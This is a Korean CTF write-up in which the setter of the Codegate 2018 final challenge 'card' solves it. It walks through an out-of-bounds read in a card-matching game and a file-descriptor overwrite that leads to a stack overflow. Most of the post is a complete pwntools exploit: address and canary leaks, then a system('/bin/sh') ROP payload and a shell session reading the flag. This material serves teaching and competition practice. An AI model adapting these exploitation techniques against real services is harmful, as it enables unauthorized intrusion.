By wooeong | April 30, 2018
Codegate 2018 Final Card 출제자 Write Up
2018년도 코드게이트 본선에 출제되었던 card
문제의 출제자 wooeong
입니다.
풀이를 간단히 써보려고 합니다.
Challenge Overview
먼저 주어진 바이너리를 확인해봐야죠.
user@ubuntu:/root/Codegate$ file card
card: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7bebeb920db75c8375d169ac9b662968c9168f0a, stripped
user@ubuntu:~/Codegate$ ./checksec.sh --file card
RELRO STACK CANARY NX PIE RPATH
Full RELRO Canary found NX enabled PIE enabled No RPATH
RUNPATH FORTIFY Fortified Fortifiable FILE
No RUNPATH Yes 0 3 card
Full RELRO
, Stack Canary
, NX
, PIE
, Stripped
….. 출제자는 변태가 분명합니다.
그래도 32bit
바이너리네요 !! 64bit의 세상에서 보기 드문 32bit 군요.
그럼 바이너리를 실행시켜봅시다.
바이너리는 역시 실행시켜 봐야 제맛이죠.
user@ubuntu:/root/Codegate$ ./card
Card Matching Game !
Let's Play Game
==================
1. Game
2. How To ?
3. Exit
>> 1
====================
1. Easy (4x4)
2. Hard (8x8)
3. **Hell** (12x12)
4. Return
>> 3
Try : 0 / 72 Hits : 0 /72
0 1 2 3 4 5 6 7 8 9 10 11
0 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
1 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
2 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
3 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
4 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
5 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
6 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
7 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
8 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
9 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
10 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
11 [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?] [?]
(first) x, y :
카드 게임이군요. 그런데 가려진 카드가 144개 인데 기회는 72번이네요. 이것으로 출제자는 변태임이 확실합….
Reversing
바이너리는 IDA로 보내야죠. 리버싱은 IDA 가
스테이지 선택시 77777을 입력하면 히든 스테이지같은 곳에 진입할 수 있습니다.
sub_D3E
함수가 게임을 하는 핵심함수입니다.
이 부분의 함수는 대략적으로 다음과 같습니다.
1. 게임클리어 시 출력 될 뱃지파일을 오픈합니다.
2. 이후 카드 게임을 시작합니다.
3. X, Y 좌표를 받으며, 음수를 받으면 게임을 종료 시킵니다. 그러나 맵을 벗어난 큰 수도 받을 수 있군요.
4. 첫번째 X,Y 와 두번째 X, Y 의 값이 같으면 첫번째와 두번째의 값들을 모두 0으로 초기화한다.
5. 시도 할때마다 Try Count가 올라가며 Hits Count가 목표치에 도달 시 게임을 클리어하게 됩니다.
6. 게임 클리어 시 뱃지파일을 Read 한 후 출력합니다.
좌표를 받는 곳에서 OOB Read
가 일어나는군요. 그러나 이것만으로는 Exploit하기는 힘들어 보입니다만,
분석 과정에서 뱃지 파일을 Open
한 fd
가 bss
에 저장되어 있는 것을 확인할 수 있습니다.
이 곳을 0
으로 만들어서, 이 후 게임 클리어가 되었을때 read
하는 fd
를 사용자의 fd(0)
로 만든다면
Stack Overflow
가 발생하겠군요!
보호기법이 많이 걸려있어서 릭leak
해야 할 것이 많지만, map
이 Stack
에 있기 때문에 어렵지 않게 모두 구할 수 있겠습니다.
Exploit
익스플로잇 과정은 아래와 같습니다.
1. CardGame 을 통해 게임 클리어를 위한 수, fd overwrite 시 사용 될 숫자를 찾는다.
2. Libc, Stack, Canary, Pie 주소를 구한다.
3. Pie 주소를 기반으로 bss에 있는 fd를 0으로 만든다.
4. 게임 클리어(Hits 목표치를 0으로 만듬.)를 통해 뱃지를 출력하는 함수로 이동한다.
5. overwrited 된 fd ( 0 = stdin )를 통해Stack overflow
로 Exploit!
로컬
에서 그냥 돌리면 overwrite
할 fd
는 3
이지만!
문제 세팅을 할 때 socat
을 통해 바이너리를 구동했는데,
socat을 통해 사용하니 3번과 4번을 socat이 사용해서 fd가 5번으로 되더라고요… 사실 출제자도 이거에 한번 낚임…
물론 릭을 통해 정확한 값을 알 수 있지만, 당연히 3번이라고 생각하고 익스플로잇을 짜다보면 되지 않는다는…..컴퓨터는 거짓말을 하지 않습니다.
제가 작성한 익스플로잇 코드는 다음과 같습니다.
from pwn import *
import ctypes
REMOTE = 1
if REMOTE == 1:
p = remote('localhost', 8888)
fd = 5
else:
p = process("./card")
fd = 3
raw_input()
p.recvuntil(">> ")
p.send("1\n")
p.recvuntil(">> ")
p.send("77777\n")
check_map = [[-1 for x in range(24)] for y in range(24)]
try_count = 0
hit_count = 0
def get_xy_in_map(num):
for j in range(0, 24):
for i in range(0, 24):
if check_map[i][j] == num:
return (i, j)
return None
def find_undefined_xy():
for j in range(0, 24):
for i in range(0, 24):
if check_map[i][j] == -1:
for jj in range(j, 24):
for ii in range(i+1, 24):
if check_map[ii][jj] == -1:
return (i, j) +(ii, jj)
return None # maybe something Wrong T.T
def match(x1,y1, x2, y2):
global try_count, hit_count
try_count = try_count + 1
get_try_count = p.recvuntil(": ")
p.recvuntil(": ")
get_hit_count = p.recvuntil("\n")
maps_tmp = p.recvuntil(": ") # recvuntil "(first) x, y :"
maps_tmp = maps_tmp.split("\n")
maps_tmp.pop(0) # remove x Line number
maps_tmp.pop() # remove "(first) x, y :"
maps_tmp.pop() # remove "\n"
maps = []
for mm in maps_tmp:
line_tmp = mm.split()
line_tmp.pop(0) # remove y height number
if len(line_tmp) != 24:
print "Map Parsing Error."
exit()
maps.append(line_tmp)
for i in range(0, 24):
for j in range(0, 24):
if maps[i][j] == "[X]":
check_map[i][j] = 0
p.sendline(str(x1) + ", " + str(y1))
first_ret = p.recvuntil(": ") # recvuntil "(second) x, y :"
first_ret = int(first_ret.split("\n")[0].split("=")[1])
try:
check_map[x1][y1] = first_ret
except IndexError:
pass
p.sendline(str(x2) + ", " + str(y2))
second_ret = p.recvuntil("\n")
second_ret = int(second_ret.split("\n")[0].split("=")[1])
try:
check_map[x2][y2] = second_ret
except IndexError:
pass
match_result = p.recvuntil("\n")
if "Wrong T.T" in match_result:
match_result = False
elif "Correct !" in match_result:
hit_count = hit_count + 1
match_result = True
try:
check_map[x1][y1] = 0
except:
pass
try:
check_map[x2][y2] = 0
except:
pass
else:
print "[!] match Result : ", match_result
return (first_ret, second_ret), (match_result, get_try_count, get_hit_count)
find_list = [3, 1, 1, 5, 4, 32, fd]
while find_list:
if (get_xy_in_map(try_count+1) != None) and (try_count > 200) and (not (try_count+1) in find_list):
init_try = get_xy_in_map(try_count+1)
try_count = -1
check_a, result = match(76, 23, init_try[0], init_try[1])
print "[!] Try Count Initialize :: ", check_a, result
continue
next_xy = find_undefined_xy()
check_a, result = match(next_xy[0], next_xy[1], next_xy[2], next_xy[3])
for cc in check_a:
if cc in find_list:
print " [+] Found in Map : ", hex(cc), get_xy_in_map(cc)
find_list.remove(cc)
# Libc Leak
libc_leak_part1, result = match(24, 23, 25, 23) # Libc Leak
libc_leak_part2, result = match(26, 23, 27, 23) # Libc Leak
libc_leak = u32(chr(libc_leak_part1[0]) + chr(libc_leak_part1[1]) + chr(libc_leak_part2[0]) + chr(libc_leak_part2[1]))
libc_base = libc_leak - 0x1b2d60+0x2000
print " [+] Libc Leak : ", hex(libc_leak)
print " [+] Libc Base : ", hex(libc_base)
system_libc = libc_base + 0x3A940
print " [+] System@Libc : ", hex(system_libc)
print
# Stack Leak & Map Base Addr
map_base_part1, result = match(92, 23, 93, 23) # Map Addr Leak
map_base_part2, result = match(94, 23, 95, 23) # Map Addr Leak
map_base_addr = u32(chr(map_base_part1[0]) + chr(map_base_part1[1]) + chr(map_base_part2[0]) + chr(map_base_part2[1]))
print " [+] Map Base Addr : ", hex(map_base_addr)
argv_1 = map_base_addr - 0x26c
print " [+] system(*Argv[1]) : ", hex(argv_1)
canary_part1, result = match(100, 23, 101, 23) # Stack Canary Leak
canary_part2, result = match(102, 23, 103, 23) # Stack Canary Leak
canary = u32(chr(canary_part1[0]) + chr(canary_part1[1]) + chr(canary_part2[0]) + chr(canary_part2[1]))
print " [+] Canary : ", hex(canary)
print
# Pie Leak
pie_part1, result = match(116, 23, 117, 23) # Pie Addr Leak
pie_part2, result = match(118, 23, 119, 23) # Pie Addr Leak
pie_leak = u32(chr(pie_part1[0]) + chr(pie_part1[1]) + chr(pie_part2[0]) + chr(pie_part2[1]))
print " [+] Pie Leak : ", hex(pie_leak)
pie_base = pie_leak - 0x012F3
print " [+] Pie Base : ", hex(pie_base)
fd_addr = pie_base + 0x3024
print " [+] fd Addr : ", hex(fd_addr)
print
# fd overwrite
mi = ctypes.c_int32(map_base_addr + fd_addr).value
cc = ctypes.c_int32(fd_addr - mi + fd_addr).value
fd_x = cc%24
fd_y = cc/24
fd_attack = get_xy_in_map(fd)
fd_overwrite, result = match(fd_x, fd_y, fd_attack[0], fd_attack[1])
print " [+] fd overwrite :: ", fd_overwrite, result
goals1_attack = get_xy_in_map(32)
goals1_overwrite, result = match(96, 23, goals1_attack[0], goals1_attack[1])
print " [+] Goals Part 1 overwrite :: ", goals1_overwrite, result
goals2_attack = get_xy_in_map(1)
goals2_overwrite, result = match(97, 23, goals2_attack[0], goals2_attack[1])
print " [+] Goals Part 2 overwrite :: ", goals2_overwrite, result
current_hit = int(result[2].split("/")[0])+1
hit_attack = get_xy_in_map(current_hit)
hit_attack, result = match(72, 23, hit_attack[0], hit_attack[1])
print " [+] Hit overwrite :: ", hit_attack, result
ex_ret = p.recvuntil("\n")
print ex_ret
if "Cleeaaaarr ~!!" in ex_ret:
print "Success !!"
else:
print "Fail"
exit()
p.recvuntil(": ")
p.sendline("asd")
p.send("/bin/sh\x00"*62 + p32(0x61616161) + p32(canary) + "aaaa"*3 + p32(system_libc) + p32(0x0)+p32(argv_1))
p.interactive()
익스플로잇 코드를 실행하면 다음과 같이 flag
를 얻을 수 있습니다…!!
(....)
[*] Switching to interactive mode
/bin/sh
asd
$ id
uid=1000(card) gid=1000(card) groups=1000(card)
$ ls -al
total 124
drwxr-xr-x 2 root card 4096 Apr 19 17:22 .
drw-r----x 24 root root 4096 Apr 19 15:49 ..
-r-xr-x--- 1 root card 9596 Apr 19 15:48 card
-rw-r--r-- 1 root card 112 Apr 2 04:16 easy.txt
-rw-r--r-- 1 root card 46 Apr 2 04:16 flagflagflagflagflag
-rw-r--r-- 1 root card 114 Apr 2 04:16 hard.txt
-rw-r--r-- 1 root card 158 Apr 2 04:16 hell.txt
-rw-r--r-- 1 root card 429 Apr 2 04:16 super.txt
$ cat flagflagflagflagflag
FLAG{C@rd_c@rd_Funnnnnnnnnnnnnnnnnnnnnnnnn:D}
$